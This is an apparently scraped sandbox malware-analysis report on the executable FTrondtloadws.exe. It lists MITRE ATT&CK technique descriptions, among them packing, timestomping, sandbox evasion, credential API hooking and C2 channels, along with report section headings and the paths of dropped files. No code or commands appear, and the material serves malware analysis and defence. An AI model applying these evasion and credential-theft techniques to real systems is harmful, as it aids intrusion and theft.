Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FTrondtloadws.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Bitcoin Miner

Snort Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\USOPrivate\UpdateStore\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml (copy)

C:\ProgramData\USOPrivate\UpdateStore\updatestoretemp51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml

C:\ProgramData\USOShared\Logs\UpdateSessionOrchestration.001.etl (copy)

C:\ProgramData\USOShared\Logs\UpdateSessionOrchestration_Temp.1.etl

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FTrondtloadw.exe.log

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl

C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe

C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe

C:\Users\user\AppData\Local\Temp\user_707748.exe

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl.0001 (copy)

Windows Analysis Report
FTrondtloadws.exe

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre